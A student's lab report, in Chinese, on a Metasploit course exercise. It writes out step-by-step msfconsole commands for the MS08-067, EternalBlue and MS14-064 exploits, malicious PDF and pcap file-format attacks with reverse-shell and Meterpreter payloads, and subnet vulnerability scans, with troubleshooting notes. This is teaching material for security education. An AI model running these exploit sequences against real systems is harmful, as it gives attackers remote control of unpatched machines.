Exp5 MSF基础应用 20165110
一、实践要求(3.5分)
实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.一个主动攻击实践;(1分)
ms08_067_netapi:自动化漏洞溢出攻击
payload:generic/shell_reverse_tcp
(成功)
payload:windows/vncinject/reverse_tcp
(失败)
ms17_010_eternalblue:“永恒之蓝”自动化攻击
payload:windows/x64/shell/bind_tcp
(成功)
payload:generic/shell_reverse_tcp
(失败)
2.一个针对浏览器的攻击;(1分)
ms14_064_ole_code_execution
payload:windows/vncinject/reverse_tcp
(成功且唯一)
payload:payload/generic/shell_reverse_tcp
(成功)
payload:windows/x64/meterpreter/reverse_http
(失败)
ms10_042_helpctr_xss_cmd_exec(失败)
3.一个针对客户端的攻击(1分)
Adobe(失败)
Wireshark:
payload:set payload windows/meterpreter/reverse_tcp (成功)
4.成功应用任何一个辅助模块。(0.5分)
在实现ms08_067中应用use auxiliary/scanner/portscan/tcp
搜索靶机开放端口(成功)
在实现ms17_010中应用use auxiliary/scanner/smb/smb_ms17_010
扫描存在该漏洞的靶机(成功且唯一)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
二、实验内容
Kali 的IP:10.1.1.211
首先是血与泪的教训(整了我足足三天)
!!注意:一定要在做实验之前把虚拟机的网卡设置为桥接模式,再通过设置虚拟网络编辑器,选择物理网卡,使得多台虚拟机处于同意网段中,否则之间根本就ping不通,攻击也无从谈起。
实验一:ms08_067_netapi
靶机:Microsoft Windows 2000(10.1.1.107)
1.首先使用kali进行漏洞扫描nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.1.1.211
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability)
–script=: 使用某个或某类脚本进行扫描,支持通配符描述
首先必须要说的是nmap能扫描的漏洞并不多,有时扫描一些漏洞会出现如下所示的情况,表示该漏洞没有在nmap扫描库中不可以被扫描。
但是此处的ms08_067非常凑巧的可以被扫描,扫描结果如下图
在kali端进入msfconsole控制台
首先查找ms08_067漏洞的具体位置search ms08_067
然后进行漏洞选择use exploit/windows/smb/ms08_067_netapi
通过show options
查看配置信息
使用辅助模块查看默认端口(445)是否开放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #显示设置
set RHOSTS 10.1.1.211 # 设置监听者地址
exploit # 攻击
返回ms08_967设置靶机类型set target 1
查看可用的payloads
show payloads
set payload windows/x64/shell/bind_tcp//选择payload
再次查看相关配置信息
set LHOST 10.1.1.211
set LPORT 5111//注:此处因为我的学号5110始终被占用无法使用,故将端口更换成5111
exploit
攻击成功!!!
更换另一个payload:windows/vncinject/reverse_tcp
查找了一些关于这个payload的相关资料
Windows/vncinject/bind_tcp 在目标计算机上安装VNC并等待连接
期间它总是报出这样的错误
我针对这个错误做了这样的尝试:
就是不停地更换端口,后来也请教了一些大佬,说是因为上次的使用没有正常退出导致源端口被占用,无法继续执行下面的任务,
还有一种解决方案是关掉终端重新启动msfconsole,两种方法经过实践是都可以解决这个问题的
但是就我个人而言,我认为这个错误很奇怪啊,我每次在使用完成之后都会进行退出啊,为啥只要一退出再进入都会出现这样的端口占用问题呢,可能是我退出的方式不对吧。。。
好了言归正传回来,继续使用这个payload,设置好参数,然后exploit,
然后嗯等了好久好久,然后出现了一大堆false,我研究了半天也没搞明白这些false是什么原因,然后我又跑去换了sp2,xp,2007的靶机都以失败告终,这个payload攻击宣告失败。。。
实验二:ms17_010_eternalblue:“永恒之蓝”自动化攻击
在这个攻击该漏洞之前我利用了辅助工具auxiliary/scanner/smb/smb_ms17_010
这个扫描插件进行测试,该插件的作用是扫描本网段钟可能含有ms17-010漏洞的服务器,帮助我们寻找靶机
首先进入这个辅助工具的界面中use auxiliary/scanner/smb/smb_ms17_010
随后通过指令show options
来查找该工具所需要的参数,我们可以看到RHOSTS和RPORT两个参数是必需的。
RPORT:在上一个漏洞中我们已经扫描了445端口是开放的,所以这里的RPORT不再修改直接使用即可。
RHOSTS:通过查找我们宿舍的网段网关地址为10.1.1.1,子网掩码是255.255.255.0,故目标网段应该填写为10.1.1.1/24
将一些必备的参数填写进去,最后输入run
或者exploit
执行辅助工具。
经过一段时间的等待,我们可以发现扫描结果,本网段中有一台符合条件的主机,嘿嘿嘿,就是我的win7虚拟机啦,然后就可以愉快地开始攻击了呢。
首先老规矩输入下列一大串指令
search ms17_010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show payloads #显示可用攻击载荷
set payload payload/generic/shell_reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.1.1.211 #设置监听地址
set RHOSTS 10.1.1.1/24(这里也可以写具体的主机地址) #设置靶机地址
exploit #开始攻击
注:由于我在做这个实验的时候崩了好几次虚拟机,所以我又重新拷了好几次虚拟机,所以实验中的RHOSTS在不停发生变化。。。
嘻嘻,攻击成功!!!
然后非常有冒险探索精神的我决定回一个payload``````payload:generic/shell_reverse_tcp`````
喵喵喵,失败了???
失败原因是好多好多个false,一开始是疑心我的参数设置的有问题,但是重新做了好几遍都不成功,我再折回去看靶机,一看哟蓝屏了,已经ping不通了,这个靶机成功又被我整die了,微笑.jpg。
我又参考了某猪的博客唔,觉得这个漏洞还是非常容易被攻击的,只要是相应的payloads基本都是可以成功的,至于去哪里找相应的paylos,有一个指令叫做info
该指令可以朝朝到该漏洞的相关信息,有的describe里面会包含对应的payloads。
实验三:ms14_064_ole_code_execution(针对浏览器的攻击)
还是老规矩上代码:
search ms14_064//查找漏洞所在位置
use exploit/windows/browser/ms14_064_ole_code_execution//选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/vncinject/reverse_tcp //在目标计算机上安装VNC并设置tcp反向连接
info //查看详细信息(发现可攻击winXP和win7)
set SRVHOST 10.1.1.211 //设置攻方IP
set LHOST 10.1.1.211
set LPORT 5111
set target 0 //设置winXP靶机
exploit //发起渗透攻击
生成一个URL地址,用WinXP的IE8.0打开,可以发现成功建立会话,
并且还会弹出VNC弹框,弹框中的内容是靶机的屏幕,实现了监控,
wow it‘s very cool。
我还尝试了一个常规payload:payload/generic/reverse_tcp
嘻嘻,同样也成功了。
我继续进行探索,payload:windows/x64/meterpreter/shell_reverse_https
等诸多https的payload
很不幸,它们都失败了,所以我做出了大胆的假设,可能是因为我的两台机器之间并没有建立https通信方式。。。
附录:ms10_042_helpctr_xss_cmd_exec(对浏览器的攻击,失败)
实验四:对一个客户端进行攻击
Adobe
这个可真是难为我小猪佩奇了,我通过search adobe
搜索了相关的漏洞最后选择了攻击成功率最高的攻击模块windows/fileformat/adobe_cooltype_sing
靶机:WinXP
老规矩上代码
set payload
windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 10.1.1.211 //kali IP
set LPORT 5111 //设置攻击端口
set FILENAME 5110.pdf //设置生成的pdf文件名
exploit //发起攻击
成功在目录root/.msf4/local
中生成5110.pdf,将该文件直接拖至靶机中
返回kali端进入监听模块:
use exploit/multi/handler //进入监听模块
exploit //监听
回到WinXP中双击打开pdf文件,然后不幸的事情发生了,
Adobe Reader开启失败,报错了,然后我尝试进行修复,然后依然没有办法打开pdf文件
我一开始怀疑是我生成的pdf文件有问题,导致Adobe Reader崩了,然后我在自己的主机上打开这个pdf,唔发现打开正常啊,里面的内容Hello World!
说明pdf没问题啊,唔,那么悲惨的事实摆在了我的面前,那就是我的Adobe崩了。。。于是乎,我又跑去下载了其他的Adobe
然后嗯到现在也没有下载下来,等下载下来了我再进行尝试,
我还会再回来的==
Wireshark
这个也是为难我小猪佩奇的一个利器啊,不过这也只能怪我画蛇添足,自做聪明了。。。
靶机:WinXP
话不多说,上代码
use exploit/windows/fileformat/wireshark_packet_dect.rb //使用漏洞
set payload windows/meterpreter/reverse_tcp //选择载荷
set LHOST 10.1.1.211 //攻击者地址
exploit
生成一个passwords.pcap
捕包文件,将该文件拖至靶机中
进入监听模块
use exploit/multi/handler #进入监听模块
exploit #攻击
在靶机中打开passwords.pcap
文件
攻击成功
中间出现了一个错误,就是我以为靶机中没有wireshark,我自己从网上下载了一个wireshark,这个wireshark是32位的版本比较老,所以使用它打开生成passwors.pacp文件显示的是错误,我在网上查找了出现这个错误的原因,因为Wireshark的版本中支持的数据量很小,生成的该pacp文件中的数据量已经超过了Wireshark一次所能读取的量,所以无法打开,我重装了虚拟机之后,使用其自带的wireshark即可成功实现该攻击。
三、实验中的遇到的问题
1.首先是我的kali与其他虚拟机不在一个网段上,根本无法进行ping通,直接导致了之前我所有的攻击都失败了。。。
2.攻击ms08-067时,我一开始使用的WinXP,但是一直都没有攻击成功,后来我通过参考某猪的博客,原来我的WinXP系统是中文版,里面已经装了相关的漏洞,所以当然攻击不成功了,微笑.jpg。
3.进行攻击时经常出现如下的状况
基本上换一下端口就可以解决,所以我实验中的截图的端口号从5109-5113都试过了。。。实在不行的话,那就重启msf吧
4.进行Wireshark攻击时,出现了一个错误,就是我以为靶机中没有wireshark,我自己从网上下载了一个wireshark,这个wireshark是32位的版本比较老,所以使用它打开生成passwors.pacp文件显示的是错误,我在网上查找了出现这个错误的原因,因为Wireshark的版本中支持的数据量很小,生成的该pacp文件中的数据量已经超过了Wireshark一次所能读取的量,所以无法打开,我重装了虚拟机之后,使用其自带的wireshark即可成功实现该攻击。
5.实验过程中还出现这样的问题
解决方案:加上set payload...
四、基础问题回答
1.用自己的话解释什么是exploit,payload,encode.
答:
exploit:应该是攻击模块,里面包含攻击的平台、攻击使用的工具、以及攻击所需要的参数,应该是一个集所有工具于一体的攻击模块。
payload:实际用于攻击的代码、机器指令
encode:对payload进行编码的编码器
2.实践总结与体会
答:这个我从上周二基本就开始做了,一直做到今天还有一些地方需要完善,整个电脑的风扇一直在响,最多的一次我一下子开了四台虚拟机,我看着我的CPU爆红,这是我有电脑以来,第一次出现这种情况,总结一句话,这个实验给我的感觉是道路是曲折的,前途是光明的,失败了九十九次,不要气馁,因为第一百次还会失败的,smile。
这个实验还是给了我一些经验,比如说排除问题,查找问题的能力,以及愈挫愈勇的能力。。。。
3.离实战还缺些什么技术或步骤?
答:我一直都好好奇,为啥每次实验都有这个问题。。。但是我还是要认真回答以下这个问题,我觉得我们离实战最缺少的步骤就是实践,所有的技术或者步骤都是具体问题具体分析,正如卖油翁中的一句话“唯手熟尔”。